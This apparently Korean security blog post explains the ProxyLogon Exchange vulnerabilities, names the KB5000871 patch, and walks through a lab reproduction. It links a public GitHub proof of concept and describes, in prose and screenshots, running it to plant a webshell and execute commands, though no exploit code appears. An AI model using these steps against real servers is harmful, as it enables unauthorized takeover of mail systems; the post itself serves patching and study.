&lt;h3 style=&quot;padding: 55px 10px 1px; border: solid rgba(0, 0, 0, 0.3);&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;- 개요&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 취약점은&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;아래 두 가지&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;CVE 취약점으로&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이루어져 있습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;&lt;b&gt;CVE-2021-26855(SSRF)&lt;/b&gt;&lt;br /&gt;&lt;b&gt;- SSRF 유형의 취약점으로,&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&amp;nbsp; 사용자 인증 과정(로그인 등) 없이 인증된 사용자 권한(로그인 성공)을 &lt;/b&gt;&lt;b&gt;획득할 수 있는 취약점&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;CVE-2021-27065(Arbitrary File Write)&lt;/b&gt;&lt;br /&gt;&lt;b&gt;- 임의의 파일 작성 또는 File Upload 유형의 취약점으로,&lt;br /&gt;&amp;nbsp; 인증된 계정에서 공격자가 원하는 위치에 웹 브라우저로 실행 가능한 파일(Webshell)을 생성할 수 있는 취약점&lt;/b&gt;&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;위 두 가지 CVE 취약점을 활용하여,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Exchange 사용 권한이 없는 해커가&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Exchange 서버에 Webshell을 업로드하여&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;서버를 제어&lt;/b&gt;할 수 있습니다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;div class=&quot;bodyAdsense&quot; style=&quot;text-align: center;&quot;&gt;
&lt;style type=&quot;text/css&quot;&gt;
.contentsadsense {
display: inline-block;
width: 85%;
height: 280px;
}
@media (min-width:680px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 85%;
height: 250px;
}
}
@media (min-width:783px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 730px;
height: 280px;
}
}
&lt;/style&gt;
&lt;span&gt;
&lt;ins class=&quot;adsbygoogle contentsadsense&quot; data-ad-client=&quot;ca-pub-3404419172696964&quot; data-ad-slot=&quot;8663946782&quot; data-ad-layout=&quot;in-article&quot; data-ad-format=&quot;fluid&quot; data-language=&quot;ko&quot;&gt;&lt;/ins&gt;
&lt;script&gt;
window.adsbygoogle.push({});
&lt;/script&gt;
&lt;/span&gt;
&lt;/div&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;padding: 55px 10px 1px; border: solid rgba(0, 0, 0, 0.3);&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;- 취약한 환경&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #404040;&quot;&gt;&lt;b&gt;KB5000871 보안 패치&lt;/b&gt;가 적용되지 않은&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #404040;&quot;&gt;모든 Exchange 서버는 취약합니다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;&lt;b&gt;취약한 환경:&lt;/b&gt;&lt;br /&gt;&lt;b&gt;- KB5000871 미적용 Exchange 서버&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&amp;nbsp; (Exchange 2013, 2016, 2019 모두 포함)&lt;/b&gt;&lt;/blockquote&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;div class=&quot;bodyAdsense&quot; style=&quot;text-align: center;&quot;&gt;
&lt;style type=&quot;text/css&quot;&gt;
.contentsadsense {
display: inline-block;
width: 85%;
height: 280px;
}
@media (min-width:680px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 85%;
height: 250px;
}
}
@media (min-width:783px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 730px;
height: 280px;
}
}
&lt;/style&gt;
&lt;span&gt;
&lt;ins class=&quot;adsbygoogle contentsadsense&quot; data-ad-client=&quot;ca-pub-3404419172696964&quot; data-ad-slot=&quot;8663946782&quot; data-ad-layout=&quot;in-article&quot; data-ad-format=&quot;fluid&quot; data-language=&quot;ko&quot;&gt;&lt;/ins&gt;
&lt;script&gt;
window.adsbygoogle.push({});
&lt;/script&gt;
&lt;/span&gt;
&lt;/div&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;padding: 55px 10px 1px; border: solid rgba(0, 0, 0, 0.3);&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;&lt;span style=&quot;color: #404040;&quot;&gt;- &lt;span style=&quot;color: #404040;&quot;&gt;KB5000871 보안 패치&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;아래 주소에서&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;사용 중인 Exchange 서버를 검색하여&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다운 받을 수 있습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://www.catalog.update.microsoft.com/Search.aspx?q=Exchange%202016&quot;&gt;https://www.catalog.update.microsoft.com/Search.aspx?q=Exchange%202016&lt;/a&gt;&amp;nbsp;&lt;/p&gt;
&lt;figure id=&quot;og_1630990137702&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;website&quot; data-og-title=&quot;Microsoft Update 카탈로그&quot; data-og-description=&quot;&quot; data-og-host=&quot;www.catalog.update.microsoft.com&quot; data-og-source-url=&quot;https://www.catalog.update.microsoft.com/Search.aspx?q=Exchange%202016&quot; data-og-url=&quot;https://www.catalog.update.microsoft.com/Search.aspx?q=Exchange%202016&quot; data-og-image=&quot;&quot;&gt;&lt;a href=&quot;https://www.catalog.update.microsoft.com/Search.aspx?q=Exchange%202016&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://www.catalog.update.microsoft.com/Search.aspx?q=Exchange%202016&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url();&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;Microsoft Update 카탈로그&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;www.catalog.update.microsoft.com&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;961&quot; data-origin-height=&quot;1000&quot; data-filename=&quot;1.png&quot; width=&quot;500&quot; height=&quot;520&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/Z8bXD/btrd7UgaINo/Cnp4XzbkNr9O0poMZdD0JK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/Z8bXD/btrd7UgaINo/Cnp4XzbkNr9O0poMZdD0JK/img.png&quot; data-alt=&quot;Microsoft Update 사이트&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Z8bXD/btrd7UgaINo/Cnp4XzbkNr9O0poMZdD0JK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FZ8bXD%2Fbtrd7UgaINo%2FCnp4XzbkNr9O0poMZdD0JK%2Fimg.png&quot; data-origin-width=&quot;961&quot; data-origin-height=&quot;1000&quot; data-filename=&quot;1.png&quot; width=&quot;500&quot; height=&quot;520&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;Microsoft Update 사이트&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;div class=&quot;bodyAdsense&quot; style=&quot;text-align: center;&quot;&gt;
&lt;style type=&quot;text/css&quot;&gt;
.contentsadsense {
display: inline-block;
width: 85%;
height: 280px;
}
@media (min-width:680px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 85%;
height: 250px;
}
}
@media (min-width:783px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 730px;
height: 280px;
}
}
&lt;/style&gt;
&lt;span&gt;
&lt;ins class=&quot;adsbygoogle contentsadsense&quot; data-ad-client=&quot;ca-pub-3404419172696964&quot; data-ad-slot=&quot;8663946782&quot; data-ad-layout=&quot;in-article&quot; data-ad-format=&quot;fluid&quot; data-language=&quot;ko&quot;&gt;&lt;/ins&gt;
&lt;script&gt;
window.adsbygoogle.push({});
&lt;/script&gt;
&lt;/span&gt;
&lt;/div&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 35px; border: 4px solid #777777; padding: 55px 10px 1px; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;# 취약점 테스트&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;padding: 55px 10px 1px; border: solid rgba(0, 0, 0, 0.3);&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;- 테스트 환경&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;아래와 같이 환경을 구성하여&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;테스트를 진행했습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;&lt;b&gt;서버 OS: Windows Server 2016&lt;/b&gt;&lt;br /&gt;&lt;b&gt;S/W: Microsoft Exchange 2016 cu19&lt;br /&gt;공격자 PC: Windows 10&lt;/b&gt;&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Exchange 2019를 구하지 못해서&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Exchange 2016으로 진행했으며,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Windows Server 2019에는&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Exchange 2016이 설치되지 않아서&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Windows Server 2016으로 진행했습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;s&gt;(호환성 무엇....)&lt;/s&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;환경 구성은 아래를 참고하시면 됩니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://chmodi.tistory.com/150&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;2021.09.02 - [Study/스터디] - [Windows Server 2016+AD+Exchange 2016] AD(Active Directory) 설치&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://chmodi.tistory.com/151&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;2021.09.03 - [Study/스터디] - [Windows Server 2016+AD+Exchange 2016] Exchange 2016 관리 계정 생성&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://chmodi.tistory.com/152&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;2021.09.03 - [Study/스터디] - [Windows Server 2016+AD+Exchange 2016] Exchange 2016 설치&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;div class=&quot;bodyAdsense&quot; style=&quot;text-align: center;&quot;&gt;
&lt;style type=&quot;text/css&quot;&gt;
.contentsadsense {
display: inline-block;
width: 85%;
height: 280px;
}
@media (min-width:680px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 85%;
height: 250px;
}
}
@media (min-width:783px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 730px;
height: 280px;
}
}
&lt;/style&gt;
&lt;span&gt;
&lt;ins class=&quot;adsbygoogle contentsadsense&quot; data-ad-client=&quot;ca-pub-3404419172696964&quot; data-ad-slot=&quot;8663946782&quot; data-ad-layout=&quot;in-article&quot; data-ad-format=&quot;fluid&quot; data-language=&quot;ko&quot;&gt;&lt;/ins&gt;
&lt;script&gt;
window.adsbygoogle.push({});
&lt;/script&gt;
&lt;/span&gt;
&lt;/div&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;padding: 55px 10px 1px; border: solid rgba(0, 0, 0, 0.3);&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;- 테스트 진행&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Step 1. 공격 PC에서 웹 브라우저로&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Exchange의 메일 사서함에 접근할 수 있도록&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;네트워크를 수정합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;400&quot; data-origin-height=&quot;455&quot; data-filename=&quot;2.png&quot; width=&quot;400&quot; height=&quot;455&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bJKA8n/btree433WG5/2v8mQQsibjTgEvosZPJ121/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bJKA8n/btree433WG5/2v8mQQsibjTgEvosZPJ121/img.png&quot; data-alt=&quot;Windows Server 2016 네트워크 수정&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bJKA8n/btree433WG5/2v8mQQsibjTgEvosZPJ121/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbJKA8n%2Fbtree433WG5%2F2v8mQQsibjTgEvosZPJ121%2Fimg.png&quot; data-origin-width=&quot;400&quot; data-origin-height=&quot;455&quot; data-filename=&quot;2.png&quot; width=&quot;400&quot; height=&quot;455&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;Windows Server 2016 네트워크 수정&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;420&quot; data-origin-height=&quot;783&quot; data-filename=&quot;3.png&quot; width=&quot;420&quot; height=&quot;783&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cBX2N9/btree5IHYbi/hZ9cfqiDJ7HDKC8F5mSbAk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cBX2N9/btree5IHYbi/hZ9cfqiDJ7HDKC8F5mSbAk/img.png&quot; data-alt=&quot;공격 PC 네트워크 수정&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cBX2N9/btree5IHYbi/hZ9cfqiDJ7HDKC8F5mSbAk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcBX2N9%2Fbtree5IHYbi%2FhZ9cfqiDJ7HDKC8F5mSbAk%2Fimg.png&quot; data-origin-width=&quot;420&quot; data-origin-height=&quot;783&quot; data-filename=&quot;3.png&quot; width=&quot;420&quot; height=&quot;783&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;공격 PC 네트워크 수정&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Step 2. 공격 PC의 웹 브라우저에서&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;메일 사서함에 접속하면 비인증 상태이기 때문에&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;로그인을 요구합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;960&quot; data-origin-height=&quot;529&quot; data-filename=&quot;3.png&quot; width=&quot;500&quot; height=&quot;276&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/XgGcQ/btreiPY5wpo/mEUHr1gtAFfZdTBEikGcx1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/XgGcQ/btreiPY5wpo/mEUHr1gtAFfZdTBEikGcx1/img.png&quot; data-alt=&quot;현재 미인증(비로그인) 상태&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/XgGcQ/btreiPY5wpo/mEUHr1gtAFfZdTBEikGcx1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FXgGcQ%2FbtreiPY5wpo%2FmEUHr1gtAFfZdTBEikGcx1%2Fimg.png&quot; data-origin-width=&quot;960&quot; data-origin-height=&quot;529&quot; data-filename=&quot;3.png&quot; width=&quot;500&quot; height=&quot;276&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;현재 미인증(비로그인) 상태&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Step 3. 공개된 PoC 코드를 다운받습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;아래 PoC 코드는 SSRF 및 Arbitrary&amp;nbsp;File&amp;nbsp;Write&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;두 가지를 모두 진행하는 코드입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://github.com/p0wershe11/ProxyLogon&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://github.com/p0wershe11/ProxyLogon&lt;/a&gt;&lt;/p&gt;
&lt;figure id=&quot;og_1630992478486&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;object&quot; data-og-title=&quot;GitHub - p0wershe11/ProxyLogon: ProxyLogon(CVE-2021-26855+CVE-2021-27065) Exchange Server RCE(SSRF-&amp;gt;GetWebShell)&quot; data-og-description=&quot;ProxyLogon(CVE-2021-26855+CVE-2021-27065) Exchange Server RCE(SSRF-&amp;gt;GetWebShell) - GitHub - p0wershe11/ProxyLogon: ProxyLogon(CVE-2021-26855+CVE-2021-27065) Exchange Server RCE(SSRF-&amp;gt;GetWebSh...&quot; data-og-host=&quot;github.com&quot; data-og-source-url=&quot;https://github.com/p0wershe11/ProxyLogon&quot; data-og-url=&quot;https://github.com/p0wershe11/ProxyLogon&quot; data-og-image=&quot;https://scrap.kakaocdn.net/dn/wVEkQ/hyLwnIrPr7/hPm5g6aeKkkQOMpqJ7gSl1/img.png?width=1200&amp;amp;height=600&amp;amp;face=0_0_1200_600&quot;&gt;&lt;a href=&quot;https://github.com/p0wershe11/ProxyLogon&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://github.com/p0wershe11/ProxyLogon&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url('https://scrap.kakaocdn.net/dn/wVEkQ/hyLwnIrPr7/hPm5g6aeKkkQOMpqJ7gSl1/img.png?width=1200&amp;amp;height=600&amp;amp;face=0_0_1200_600');&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;GitHub - p0wershe11/ProxyLogon: ProxyLogon(CVE-2021-26855+CVE-2021-27065) Exchange Server RCE(SSRF-&amp;gt;GetWebShell)&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;ProxyLogon(CVE-2021-26855+CVE-2021-27065) Exchange Server RCE(SSRF-&amp;gt;GetWebShell) - GitHub - p0wershe11/ProxyLogon: ProxyLogon(CVE-2021-26855+CVE-2021-27065) Exchange Server RCE(SSRF-&amp;gt;GetWebSh...&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;github.com&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Step 4. 다운 받은 코드를 실행합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;서버의 정보 획득과 사용자 인증 우회,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;파일 작성 등을 끝낸 후&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;주소를 반환합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;827&quot; data-origin-height=&quot;456&quot; data-filename=&quot;4.png&quot; width=&quot;500&quot; height=&quot;276&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bpdp9t/btrelR9ZIR2/4u0LkkaAVQpFodUFLk2dFK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bpdp9t/btrelR9ZIR2/4u0LkkaAVQpFodUFLk2dFK/img.png&quot; data-alt=&quot;PoC 코드 실행 결과&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bpdp9t/btrelR9ZIR2/4u0LkkaAVQpFodUFLk2dFK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbpdp9t%2FbtrelR9ZIR2%2F4u0LkkaAVQpFodUFLk2dFK%2Fimg.png&quot; data-origin-width=&quot;827&quot; data-origin-height=&quot;456&quot; data-filename=&quot;4.png&quot; width=&quot;500&quot; height=&quot;276&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;PoC 코드 실행 결과&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Step 5. 반환된 주소의 파라미터에&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Webshell 코드를 포함시켜 접속하면,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;서버에서 Webshell 코드가 실행되고&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그 결과를 반환합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;960&quot; data-origin-height=&quot;521&quot; data-filename=&quot;5.png&quot; width=&quot;500&quot; height=&quot;271&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/IqnWR/btrelSHQGfj/9yoryLc1FP5j6eCDE6jH20/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/IqnWR/btrelSHQGfj/9yoryLc1FP5j6eCDE6jH20/img.png&quot; data-alt=&quot;Webshell 코드를 통해 dir 명령어 실행 결과&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/IqnWR/btrelSHQGfj/9yoryLc1FP5j6eCDE6jH20/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FIqnWR%2FbtrelSHQGfj%2F9yoryLc1FP5j6eCDE6jH20%2Fimg.png&quot; data-origin-width=&quot;960&quot; data-origin-height=&quot;521&quot; data-filename=&quot;5.png&quot; width=&quot;500&quot; height=&quot;271&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;Webshell 코드를 통해 dir 명령어 실행 결과&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;div class=&quot;bodyAdsense&quot; style=&quot;text-align: center;&quot;&gt;
&lt;style type=&quot;text/css&quot;&gt;
.contentsadsense {
display: inline-block;
width: 85%;
height: 280px;
}
@media (min-width:680px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 85%;
height: 250px;
}
}
@media (min-width:783px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 730px;
height: 280px;
}
}
&lt;/style&gt;
&lt;span&gt;
&lt;ins class=&quot;adsbygoogle contentsadsense&quot; data-ad-client=&quot;ca-pub-3404419172696964&quot; data-ad-slot=&quot;8663946782&quot; data-ad-layout=&quot;in-article&quot; data-ad-format=&quot;fluid&quot; data-language=&quot;ko&quot;&gt;&lt;/ins&gt;
&lt;script&gt;
window.adsbygoogle.push({});
&lt;/script&gt;
&lt;/span&gt;
&lt;/div&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 35px; border: 4px solid #777777; padding: 55px 10px 1px; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;# 설명은 다음 포스팅에서...&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;글이 너무 길어져서&lt;/p&gt;
